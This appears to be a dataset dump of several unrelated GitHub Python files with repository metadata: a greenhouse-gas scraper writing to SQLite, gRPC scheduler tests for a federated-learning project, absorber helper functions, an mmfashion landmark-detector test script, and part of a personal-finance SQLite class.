assignment\r\n\r\ntable = soup.find('table', class_='table table-bordered table-condensed table-striped table-header')\r\n\r\n\r\n#database functions from lab 1 and 2 with slight modifications to work here\r\n\r\nclass database:\r\n\r\n def __init__(self, ghouseDB):\r\n self.ghouseDB = sqlite3.connect('greenhouse.db')\r\n cursor = self.ghouseDB.cursor()\r\n print(\"Database connected\")\r\n cursor.close()\r\n if(self.ghouseDB):\r\n self.ghouseDB.close()\r\n\r\n def table(self):\r\n self.ghouseDB = sqlite3.connect('greenhouse.db')\r\n greenTable = '''CREATE TABLE greenTable(\r\n YEAR INTEGER PRIMARY KEY,\r\n CO2 REAL, CH4 REAL,\r\n N2O REAL, CFCs REAL,\r\n HCFCs REAL, HFCs REAL);'''\r\n cursor = self.ghouseDB.cursor()\r\n print(\"Happy belated, table created\")\r\n cursor.execute(greenTable)\r\n self.ghouseDB.commit()\r\n if(self.ghouseDB):\r\n self.ghouseDB.close()\r\n\r\n def insert(self, year, one, two, three, four, five, six):#its just easier to have it like this rather than the molecule\r\n self.ghouseDB = sqlite3.connect('greenhouse.db')\r\n cursor = self.ghouseDB.cursor()\r\n insertTab = '''INSERT INTO greenTable\r\n (YEAR, CO2, CH4, N2O, CFCs, HCFCs, HFCs) VALUES (?, ?, ?, ?, ?, ?, ?)'''\r\n data_tuple = (year, one, two, three, four, five, six)\r\n cursor.execute(insertTab, data_tuple)\r\n self.ghouseDB.commit()\r\n cursor.close()\r\n if(self.ghouseDB):\r\n self.ghouseDB.close()\r\n\r\n def search(self): #retrieves data from specified year\r\n self.ghouseDB = sqlite3.connect('greenhouse.db')\r\n cursor = self.ghouseDB.cursor()\r\n cursor.execute('''SELECT YEAR, CO2, CH4, N2O, CFCs, HCFCs, HFCs FROM greenTable''')\r\n result = cursor.fetchall()\r\n return result\r\n \r\n\r\n def checkTable(self): #checks if the table already exsists so there isnt a runtime error everytime i test\r\n self.ghouseDB = sqlite3.connect('greenhouse.db')\r\n cursor = self.ghouseDB.cursor()\r\n cursor.execute('''SELECT count(name) FROM sqlite_master WHERE type='table' AND name = 'greenTable' ''')\r\n if(cursor.fetchone()[0] == 1):\r\n return False\r\n else:\r\n return True\r\n cursor.close()\r\n if(self.ghouseDB):\r\n self.ghouseDB.close()\r\n \r\ngreenhouseDB = database([]) #initialize the database\r\n\r\nif(greenhouseDB.checkTable()):\r\n greenhouseDB.table() #creates table if there isnt one\r\n\r\n for row in table.tbody.find_all('tr'): #inserts all the table data needed into database\r\n columns = row.find_all('td')\r\n if(columns != []):\r\n col = []\r\n for i in range(7):\r\n col.append(columns[i].text.strip())\r\n \r\n greenhouseDB.insert(col[0], col[1], col[2], col[3], col[4], col[5], col[6])\r\n \r\n", "repo_name": "jiachenStrongman/Lab-3", "sub_path": "Lab3AllFiles/scraper.py", "file_name": "scraper.py", "file_ext": "py", "file_size_in_byte": 3799, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "requests.get", "line_number": 14, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 15, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 32, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 40, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 54, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 66, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 74, "usage_type": "call"}]} +{"seq_id": "4502121291", "text": "import json\nfrom concurrent import futures\n\nimport grpc\nimport pytest\n\nfrom common.communication.gRPC.python import (commu_pb2, control_pb2,\n scheduler_pb2,\n scheduler_pb2_grpc, status_pb2)\nfrom common.storage.redis.redis_conn import RedisConn\nfrom common.utils.grpc_channel_options import insecure_options\nimport service.scheduler\nfrom service.fed_config import FedConfig\nfrom service.fed_job import FedJob\nfrom service.scheduler import SchedulerService\n\nhost = 'localhost'\nlistening_port = 55001\n\n\n@pytest.fixture(scope='module', autouse=True)\ndef start_scheduler():\n # 启动scheduler\n server = grpc.server(futures.ThreadPoolExecutor(\n max_workers=10), options=insecure_options)\n scheduler_pb2_grpc.add_SchedulerServicer_to_server(\n SchedulerService(), server)\n server.add_insecure_port(f\"[::]:{listening_port}\")\n server.start()\n\n yield\n\n server.stop(None)\n\n\n@pytest.fixture()\ndef start_client():\n channel = grpc.insecure_channel(\n f\"{host}:{listening_port}\", options=insecure_options)\n stub = scheduler_pb2_grpc.SchedulerStub(channel)\n return stub\n\n\ndef yield_post_request():\n requests = [\n commu_pb2.PostRequest(key='test~test_channel_1~1', value=bytes(1)),\n commu_pb2.PostRequest(key='test~test_channel_1~1', value=bytes(2)),\n commu_pb2.PostRequest(key='test~test_channel_1~1', value=bytes(3))\n ]\n for r in requests:\n yield r\n\n\nclass TestSchedulerService():\n\n def test_post(self, start_client, mocker):\n # mock redis service\n mocker.patch.object(RedisConn, 'put')\n response = start_client.post(yield_post_request())\n assert response == commu_pb2.PostResponse(code=0)\n request_key = 'test~test_channel_1~1'\n RedisConn.put.assert_called_once_with(request_key, bytes(6))\n\n @pytest.mark.parametrize('nodeId, config', [('node-1', {0: {'node-1': {'trainer': 'test'}, 'node-2': {'label_trainer': 'test'}}})])\n def test_getConfig(self, start_client, nodeId, config, mocker):\n mocker.patch.object(FedConfig, 'trainer_config', config)\n mocker.patch.object(FedJob, 'current_stage', 0)\n mocker.patch.object(FedJob, 'job_id', 0)\n request = scheduler_pb2.GetConfigRequest(nodeId=nodeId)\n response = start_client.getConfig(request)\n assert response == scheduler_pb2.GetConfigResponse(\n config=json.dumps(config[0][nodeId]), code=0, jobId=0)\n\n def test_control(self, start_client, mocker):\n\n mocker.patch('service.scheduler.trainer_control',\n return_value=control_pb2.ControlResponse(code=1, message='test'))\n mocker.patch.object(FedJob, 'job_id', 1)\n request = control_pb2.ControlRequest(control=control_pb2.STOP)\n response = start_client.control(request)\n service.scheduler.trainer_control.assert_called_once_with(\n control_pb2.STOP)\n assert response == control_pb2.ControlResponse(\n code=1, message='Stop Scheduler Successful.\\n'+'test', jobId=1)\n\n mocker.patch.object(FedJob, 'job_id', 1)\n mocker.patch.object(FedJob, 'status', status_pb2.STOP_TRAIN)\n request = control_pb2.ControlRequest(control=control_pb2.START)\n response = start_client.control(request)\n assert response == control_pb2.ControlResponse(\n code=1, message=\"Scheduler not ready.\", jobId=1)\n\n mocker.patch.object(FedJob, 'status', status_pb2.IDLE)\n mocker.patch('service.scheduler.get_trainer_status', return_value={\n 'node-1': status_pb2.Status(code=2, status='TRAINING')})\n request = control_pb2.ControlRequest(control=control_pb2.START)\n response = start_client.control(request)\n service.scheduler.get_trainer_status.assert_called()\n assert response == control_pb2.ControlResponse(\n code=1, message=\"Trainer node-1 not ready..\", jobId=1)\n\n mocker.patch('service.scheduler.get_trainer_status', return_value={\n 'node-1': status_pb2.Status(code=4, status='FAILED')})\n mocker.patch.object(RedisConn, 'incr', return_value=2)\n mocker.patch.object(RedisConn, 'set')\n request = control_pb2.ControlRequest(control=control_pb2.START)\n response = start_client.control(request)\n RedisConn.incr.assert_called_once_with('XFL_JOB_ID')\n RedisConn.set.assert_called_once_with(\n \"XFL_JOB_STATUS_2\", status_pb2.TRAINING)\n assert response == control_pb2.ControlResponse(\n code=0, message=\"Ack\", jobId=2)\n assert FedJob.status == status_pb2.TRAINING\n\n def test_status(self, start_client, mocker):\n # 当前节点状态\n mocker.patch.object(FedJob, 'job_id', 2)\n mocker.patch.object(FedJob, 'status', 2)\n mocker.patch('service.scheduler.get_trainer_status', return_value={\n 'node-1': status_pb2.Status(code=2, status='TRAINING')})\n request = status_pb2.StatusRequest(jobId=0)\n response = start_client.status(request)\n assert response.schedulerStatus == status_pb2.Status(\n code=2, status='TRAINING')\n service.scheduler.get_trainer_status.assert_called()\n assert response.trainerStatus == {\n 'node-1': status_pb2.Status(code=2, status='TRAINING')}\n assert response.jobId == 2\n\n request = status_pb2.StatusRequest(jobId=2)\n response = start_client.status(request)\n assert response.jobStatus == status_pb2.Status(\n code=2, status='TRAINING')\n assert response.jobId == 2\n\n mocker.patch.object(\n RedisConn, 'get', return_value=status_pb2.SUCCESSFUL)\n request = status_pb2.StatusRequest(jobId=1)\n response = start_client.status(request)\n RedisConn.get.assert_called_once_with(\"XFL_JOB_STATUS_1\")\n assert response.jobStatus == status_pb2.Status(\n code=3, status='SUCCESSFUL')\n\n mocker.patch.object(RedisConn, 'get', return_value=status_pb2.FAILED)\n request = status_pb2.StatusRequest(jobId=1)\n response = start_client.status(request)\n RedisConn.get.assert_called_once_with(\"XFL_JOB_STATUS_1\")\n assert response.jobStatus == status_pb2.Status(code=4, status='FAILED')\n\n @pytest.mark.parametrize('algo, config',\n [\n ('vertical_xgboost', {\n \"trainer\": 'test', \"label_trainer\": 'test'}),\n ('local_normalization', {\n \"trainer\": 'test', \"label_trainer\": 'test'})\n ])\n def test_getAlgorithmList(self, start_client, algo, config, mocker):\n mocker.patch.object(FedConfig, 'algorithm_list', [\n 'vertical_xgboost', 'local_normalization'])\n mocker.patch.object(FedConfig, 'default_config_map', {'vertical_xgboost': {'trainer': {'info': 'test'}, 'label_trainer': {\n 'info': 'test'}}, 'local_normalization': {'trainer': {'info': 'test'}, 'label_trainer': {'info': 'test'}}})\n mocker.patch.object(json, 'dumps', return_value='test')\n request = scheduler_pb2.GetAlgorithmListRequest()\n response = start_client.getAlgorithmList(request)\n assert response.algorithmList == [\n 'vertical_xgboost', 'local_normalization']\n assert response.defaultConfigMap[algo] == scheduler_pb2.DefaultConfig(\n config=config)\n", "repo_name": "OneTarnished/XFL", "sub_path": "test/service/test_service_scheduler.py", "file_name": "test_service_scheduler.py", "file_ext": "py", "file_size_in_byte": 7578, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "16", "api": [{"api_name": "grpc.server", "line_number": 24, "usage_type": "call"}, {"api_name": "concurrent.futures.ThreadPoolExecutor", "line_number": 24, "usage_type": "call"}, {"api_name": "concurrent.futures", "line_number": 24, "usage_type": "name"}, {"api_name": "common.utils.grpc_channel_options.insecure_options", "line_number": 25, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.scheduler_pb2_grpc.add_SchedulerServicer_to_server", "line_number": 26, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.scheduler_pb2_grpc", "line_number": 26, "usage_type": "name"}, {"api_name": "service.scheduler.SchedulerService", "line_number": 27, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 21, "usage_type": "call"}, {"api_name": "grpc.insecure_channel", "line_number": 38, "usage_type": "call"}, {"api_name": "common.utils.grpc_channel_options.insecure_options", "line_number": 39, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.scheduler_pb2_grpc.SchedulerStub", "line_number": 40, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.scheduler_pb2_grpc", "line_number": 40, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 36, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.commu_pb2.PostRequest", "line_number": 46, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.commu_pb2", "line_number": 46, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.commu_pb2.PostRequest", "line_number": 47, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.commu_pb2", "line_number": 47, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.commu_pb2.PostRequest", "line_number": 48, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.commu_pb2", "line_number": 48, "usage_type": "name"}, {"api_name": "common.storage.redis.redis_conn.RedisConn", "line_number": 58, "usage_type": "argument"}, {"api_name": "common.communication.gRPC.python.commu_pb2.PostResponse", "line_number": 60, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.commu_pb2", "line_number": 60, "usage_type": "name"}, {"api_name": "common.storage.redis.redis_conn.RedisConn.put.assert_called_once_with", "line_number": 62, "usage_type": "call"}, {"api_name": "common.storage.redis.redis_conn.RedisConn.put", "line_number": 62, "usage_type": "attribute"}, {"api_name": "common.storage.redis.redis_conn.RedisConn", "line_number": 62, "usage_type": "name"}, {"api_name": "service.fed_config.FedConfig", "line_number": 66, "usage_type": "argument"}, {"api_name": "service.fed_job.FedJob", "line_number": 67, "usage_type": "argument"}, {"api_name": "service.fed_job.FedJob", "line_number": 68, "usage_type": "argument"}, {"api_name": "common.communication.gRPC.python.scheduler_pb2.GetConfigRequest", "line_number": 69, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.scheduler_pb2", "line_number": 69, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.scheduler_pb2.GetConfigResponse", "line_number": 71, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.scheduler_pb2", "line_number": 71, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 72, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 64, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 64, "usage_type": "attribute"}, {"api_name": "common.communication.gRPC.python.control_pb2.ControlResponse", "line_number": 77, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.control_pb2", "line_number": 77, "usage_type": "name"}, {"api_name": "service.fed_job.FedJob", "line_number": 78, "usage_type": "argument"}, {"api_name": "common.communication.gRPC.python.control_pb2.ControlRequest", "line_number": 79, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.control_pb2", "line_number": 79, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.control_pb2.STOP", "line_number": 79, "usage_type": "attribute"}, {"api_name": "service.scheduler.scheduler.trainer_control.assert_called_once_with", "line_number": 81, "usage_type": "call"}, {"api_name": "service.scheduler.scheduler", "line_number": 81, "usage_type": "attribute"}, {"api_name": "service.scheduler", "line_number": 81, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.control_pb2.STOP", "line_number": 82, "usage_type": "attribute"}, {"api_name": "common.communication.gRPC.python.control_pb2", "line_number": 82, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.control_pb2.ControlResponse", "line_number": 83, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.control_pb2", "line_number": 83, "usage_type": "name"}, {"api_name": "service.fed_job.FedJob", "line_number": 86, "usage_type": "argument"}, {"api_name": "service.fed_job.FedJob", "line_number": 87, "usage_type": "argument"}, {"api_name": "common.communication.gRPC.python.status_pb2.STOP_TRAIN", "line_number": 87, "usage_type": "attribute"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 87, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.control_pb2.ControlRequest", "line_number": 88, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.control_pb2", "line_number": 88, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.control_pb2.START", "line_number": 88, "usage_type": "attribute"}, {"api_name": "common.communication.gRPC.python.control_pb2.ControlResponse", "line_number": 90, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.control_pb2", "line_number": 90, "usage_type": "name"}, {"api_name": "service.fed_job.FedJob", "line_number": 93, "usage_type": "argument"}, {"api_name": "common.communication.gRPC.python.status_pb2.IDLE", "line_number": 93, "usage_type": "attribute"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 93, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.status_pb2.Status", "line_number": 95, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 95, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.control_pb2.ControlRequest", "line_number": 96, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.control_pb2", "line_number": 96, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.control_pb2.START", "line_number": 96, "usage_type": "attribute"}, {"api_name": "service.scheduler.scheduler.get_trainer_status.assert_called", "line_number": 98, "usage_type": "call"}, {"api_name": "service.scheduler.scheduler", "line_number": 98, "usage_type": "attribute"}, {"api_name": "service.scheduler", "line_number": 98, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.control_pb2.ControlResponse", "line_number": 99, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.control_pb2", "line_number": 99, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.status_pb2.Status", "line_number": 103, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 103, "usage_type": "name"}, {"api_name": "common.storage.redis.redis_conn.RedisConn", "line_number": 104, "usage_type": "argument"}, {"api_name": "common.storage.redis.redis_conn.RedisConn", "line_number": 105, "usage_type": "argument"}, {"api_name": "common.communication.gRPC.python.control_pb2.ControlRequest", "line_number": 106, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.control_pb2", "line_number": 106, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.control_pb2.START", "line_number": 106, "usage_type": "attribute"}, {"api_name": "common.storage.redis.redis_conn.RedisConn.incr.assert_called_once_with", "line_number": 108, "usage_type": "call"}, {"api_name": "common.storage.redis.redis_conn.RedisConn.incr", "line_number": 108, "usage_type": "attribute"}, {"api_name": "common.storage.redis.redis_conn.RedisConn", "line_number": 108, "usage_type": "name"}, {"api_name": "common.storage.redis.redis_conn.RedisConn.set.assert_called_once_with", "line_number": 109, "usage_type": "call"}, {"api_name": "common.storage.redis.redis_conn.RedisConn.set", "line_number": 109, "usage_type": "attribute"}, {"api_name": "common.storage.redis.redis_conn.RedisConn", "line_number": 109, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.status_pb2.TRAINING", "line_number": 110, "usage_type": "attribute"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 110, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.control_pb2.ControlResponse", "line_number": 111, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.control_pb2", "line_number": 111, "usage_type": "name"}, {"api_name": "service.fed_job.FedJob.status", "line_number": 113, "usage_type": "attribute"}, {"api_name": "service.fed_job.FedJob", "line_number": 113, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.status_pb2.TRAINING", "line_number": 113, "usage_type": "attribute"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 113, "usage_type": "name"}, {"api_name": "service.fed_job.FedJob", "line_number": 117, "usage_type": "argument"}, {"api_name": "service.fed_job.FedJob", "line_number": 118, "usage_type": "argument"}, {"api_name": "common.communication.gRPC.python.status_pb2.Status", "line_number": 120, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 120, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.status_pb2.StatusRequest", "line_number": 121, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 121, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.status_pb2.Status", "line_number": 123, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 123, "usage_type": "name"}, {"api_name": "service.scheduler.scheduler.get_trainer_status.assert_called", "line_number": 125, "usage_type": "call"}, {"api_name": "service.scheduler.scheduler", "line_number": 125, "usage_type": "attribute"}, {"api_name": "service.scheduler", "line_number": 125, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.status_pb2.Status", "line_number": 127, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 127, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.status_pb2.StatusRequest", "line_number": 130, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 130, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.status_pb2.Status", "line_number": 132, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 132, "usage_type": "name"}, {"api_name": "common.storage.redis.redis_conn.RedisConn", "line_number": 137, "usage_type": "argument"}, {"api_name": "common.communication.gRPC.python.status_pb2.SUCCESSFUL", "line_number": 137, "usage_type": "attribute"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 137, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.status_pb2.StatusRequest", "line_number": 138, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 138, "usage_type": "name"}, {"api_name": "common.storage.redis.redis_conn.RedisConn.get.assert_called_once_with", "line_number": 140, "usage_type": "call"}, {"api_name": "common.storage.redis.redis_conn.RedisConn.get", "line_number": 140, "usage_type": "attribute"}, {"api_name": "common.storage.redis.redis_conn.RedisConn", "line_number": 140, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.status_pb2.Status", "line_number": 141, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 141, "usage_type": "name"}, {"api_name": "common.storage.redis.redis_conn.RedisConn", "line_number": 144, "usage_type": "argument"}, {"api_name": "common.communication.gRPC.python.status_pb2.FAILED", "line_number": 144, "usage_type": "attribute"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 144, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.status_pb2.StatusRequest", "line_number": 145, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 145, "usage_type": "name"}, {"api_name": "common.storage.redis.redis_conn.RedisConn.get.assert_called_once_with", "line_number": 147, "usage_type": "call"}, {"api_name": "common.storage.redis.redis_conn.RedisConn.get", "line_number": 147, "usage_type": "attribute"}, {"api_name": "common.storage.redis.redis_conn.RedisConn", "line_number": 147, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.status_pb2.Status", "line_number": 148, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.status_pb2", "line_number": 148, "usage_type": "name"}, {"api_name": "service.fed_config.FedConfig", "line_number": 158, "usage_type": "argument"}, {"api_name": "service.fed_config.FedConfig", "line_number": 160, "usage_type": "argument"}, {"api_name": "common.communication.gRPC.python.scheduler_pb2.GetAlgorithmListRequest", "line_number": 163, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.scheduler_pb2", "line_number": 163, "usage_type": "name"}, {"api_name": "common.communication.gRPC.python.scheduler_pb2.DefaultConfig", "line_number": 167, "usage_type": "call"}, {"api_name": "common.communication.gRPC.python.scheduler_pb2", "line_number": 167, "usage_type": "name"}, {"api_name": "pytest.mark.parametrize", "line_number": 150, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 150, "usage_type": "attribute"}]} +{"seq_id": "70895101768", "text": "import json\n\n\ndef thickness(position, thicknesslist):\n \"\"\" code for absorber thickness datasource\n\n :param position: absorber position\n :type position: :obj:`float`\n :param thicknesslist: thickness JSON list\n :type thicknesslist: :obj:`str`\n :returns: absorber thickness\n :rtype: :obj:`float`\n \"\"\"\n thicknesslist = json.loads(thicknesslist)\n iposition = int(float(position) + 0.5)\n thickness = []\n for pos, thick in enumerate(thicknesslist):\n thickness.append(thick if (1 << pos) & iposition else 0.)\n return thickness\n\n\ndef foil(position, foillist):\n \"\"\" code for absorber foil datasource\n\n :param position: absorber position\n :type position: :obj:`float`\n :param foillist: foil JSON list\n :type foillist: :obj:`str`\n :returns: absorber foil\n :rtype: :obj:`str`\n \"\"\"\n foillist = json.loads(foillist)\n iposition = int(float(position) + 0.5)\n foil = []\n for pos, mat in enumerate(foillist):\n foil.append(mat if (1 << pos) & iposition else \"\")\n return foil\n", "repo_name": "nexdatas/nxstools", "sub_path": "nxstools/pyeval/absorber.py", "file_name": "absorber.py", "file_ext": "py", "file_size_in_byte": 1053, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "json.loads", "line_number": 14, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 32, "usage_type": "call"}]} +{"seq_id": "70692577930", "text": "from __future__ import division\nimport argparse\n\nfrom mmcv import Config\nfrom mmcv.runner import load_checkpoint\n\nfrom mmfashion.apis import get_root_logger, init_dist, test_landmark_detector\nfrom mmfashion.datasets import get_dataset\nfrom mmfashion.models import build_landmark_detector\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(\n description='Test a Fashion Landmark Detector')\n parser.add_argument(\n '--config',\n help='train config file path',\n default='configs/landmark_detect/landmark_detect_resnet.py')\n parser.add_argument('--work_dir', help='the dir to save logs and models')\n parser.add_argument(\n '--checkpoint',\n type=str,\n default='checkpoint/LandmarkDetect/vgg/latest.pth',\n help='the checkpoint file to resume from')\n parser.add_argument(\n '--validate',\n action='store_true',\n help='whether to evaluate the checkpoint during training',\n default=True)\n parser.add_argument(\n '--launcher',\n choices=['none', 'pytorch', 'mpi', 'slurm'],\n default='none',\n help='job launcher')\n args = parser.parse_args()\n return args\n\n\ndef main():\n args = parse_args()\n cfg = Config.fromfile(args.config)\n if args.work_dir is not None:\n cfg.work_dir = args.work_dir\n\n # init distributed env first\n if args.launcher == 'none':\n distributed = False\n else:\n distributed = True\n init_dist(args.launcher, **cfg.dist_params)\n\n if args.checkpoint is not None:\n cfg.load_from = args.checkpoint\n\n # init logger\n logger = get_root_logger(cfg.log_level)\n logger.info('Distributed test: {}'.format(distributed))\n\n # data loader\n test_dataset = get_dataset(cfg.data.test)\n print('dataset loaded')\n\n # build model and load checkpoint\n model = build_landmark_detector(cfg.model)\n print('model built')\n\n load_checkpoint(model, cfg.load_from, map_location='cpu')\n print('load checkpoint from: {}'.format(cfg.load_from))\n\n # test\n test_landmark_detector(\n model,\n test_dataset,\n cfg,\n distributed=distributed,\n validate=args.validate,\n logger=logger)\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "open-mmlab/mmfashion", "sub_path": "tools/test_landmark_detector.py", "file_name": "test_landmark_detector.py", "file_ext": "py", "file_size_in_byte": 2252, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1150, "dataset": "github-code", "pt": "16", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 13, "usage_type": "call"}, {"api_name": "mmcv.Config.fromfile", "line_number": 41, "usage_type": "call"}, {"api_name": "mmcv.Config", "line_number": 41, "usage_type": "name"}, {"api_name": "mmfashion.apis.init_dist", "line_number": 50, "usage_type": "call"}, {"api_name": "mmfashion.apis.get_root_logger", "line_number": 56, "usage_type": "call"}, {"api_name": "mmfashion.datasets.get_dataset", "line_number": 60, "usage_type": "call"}, {"api_name": "mmfashion.models.build_landmark_detector", "line_number": 64, "usage_type": "call"}, {"api_name": "mmcv.runner.load_checkpoint", "line_number": 67, "usage_type": "call"}, {"api_name": "mmfashion.apis.test_landmark_detector", "line_number": 71, "usage_type": "call"}]} +{"seq_id": "26310470457", "text": "import sqlite3\nfrom playwright.sync_api import sync_playwright\nfrom time import sleep\nimport os\nfrom bs4 import BeautifulSoup\nfrom matplotlib import pyplot as plt\nimport numpy as np\n\n# C:\\Users\\Christian\\AppData\\Roaming\\Python\\Python310\\Scripts\\pyuic5 .\\layout.ui -o .\\layout.py\n\n\nclass Contas:\n def __init__(self, arquivo):\n self.conn = sqlite3.connect(arquivo)\n self.cursor = self.conn.cursor()\n\n def criartabela(self):\n # conta,valor,parcela,ano,mes,dia,situacao,tipo,categoria\n sql = 'CREATE TABLE IF NOT EXISTS \"Contas\" ( \"id\" INTEGER UNIQUE, \"CONTA\" TEXT, \"VALOR\" TEXT, \"PARCELA\" TEXT, \"ANO\" TEXT, \"MES\" TEXT, \"DIA\" TEXT, \"SITUACAO\" TEXT, \"TIPO\" TEXT, \"CATEGORIA\" TEXT, PRIMARY KEY(\"id\" AUTOINCREMENT) )'\n self.cursor.execute(sql)\n\n def inserir(self, conta, valor, parcela, ano, mes, dia, situacao, tipo, categoria):\n if conta and valor and parcela and ano and mes and dia and tipo and categoria:\n for i in range(int(parcela)):\n mes = int(mes)\n ano = int(ano)\n parc = f'PARCELA {i+1}/{int(parcela)}'\n\n print(parc)\n sql = \"INSERT INTO Contas (conta,valor,parcela,ano,mes,dia,situacao,tipo,categoria) VALUES (?,?,?,?,?,?,?,?,?)\"\n self.cursor.execute(sql, (str(conta).upper(), str(valor).upper(), str(parc).upper(), str(ano).upper(),\n str(mes).upper(), str(dia).upper(), str(situacao).upper(), str(tipo).upper(), str(categoria).upper()))\n self.conn.commit()\n\n # altera o mes e o ano nos cadastro em lote\n # altera o mes de acordo com a parcela\n if mes < 12:\n mes += 1\n else:\n mes = 1\n ano += 1\n return True\n else:\n return False\n\n def editar(self, id, conta, valor, parcela, ano, mes, dia, situacao, tipo, categoria):\n try:\n sql = \"UPDATE Contas SET conta=?, valor=?, parcela=?, ano=?, mes=?, dia=?, situacao=?, tipo=?, categoria=? WHERE id=?\"\n self.cursor.execute(sql, (str(conta).upper(), str(valor).upper(), str(parcela).upper(), str(ano).upper(),\n str(mes).upper(), str(dia).upper(), str(situacao).upper(), str(tipo).upper(), str(categoria).upper(), id))\n self.conn.commit()\n return True\n except:\n return False\n\n def pagarCartao(self, ano, mes):\n try:\n sql = \"UPDATE Contas SET situacao='PAGO' WHERE mes=? and ano=? and categoria='CARTAO'\"\n self.cursor.execute(sql, (str(mes).upper(), str(ano).upper()))\n self.conn.commit()\n return True\n except:\n return False\n\n def remover(self, id):\n sql = \"DELETE FROM Contas WHERE id=?\"\n self.cursor.execute(sql, (id,))\n self.conn.commit()\n\n def listar_tudo(self):\n sql = \"SELECT * FROM Contas\"\n self.cursor.execute(sql)\n for linha in self.cursor.fetchall():\n print(linha)\n\n def listar_id(self, id):\n sql = \"SELECT * FROM Contas where id ==\"+id\n self.cursor.execute(sql)\n for linha in self.cursor.fetchall():\n return linha\n\n def buscar_tipos(self, vtipo, vmes, vano, credito=False):\n # if termo == 'pagar':\n # WHERE tipo LIKE ? AND ano LIKE ? AND mes LIKE ? ORDER BY dia\"\n if credito:\n sql = \"SELECT * FROM contas WHERE tipo LIKE ? and mes LIKE ? and ano LIKE ? and categoria = 'CARTAO' order by dia\"\n else:\n sql = \"SELECT * FROM contas WHERE tipo 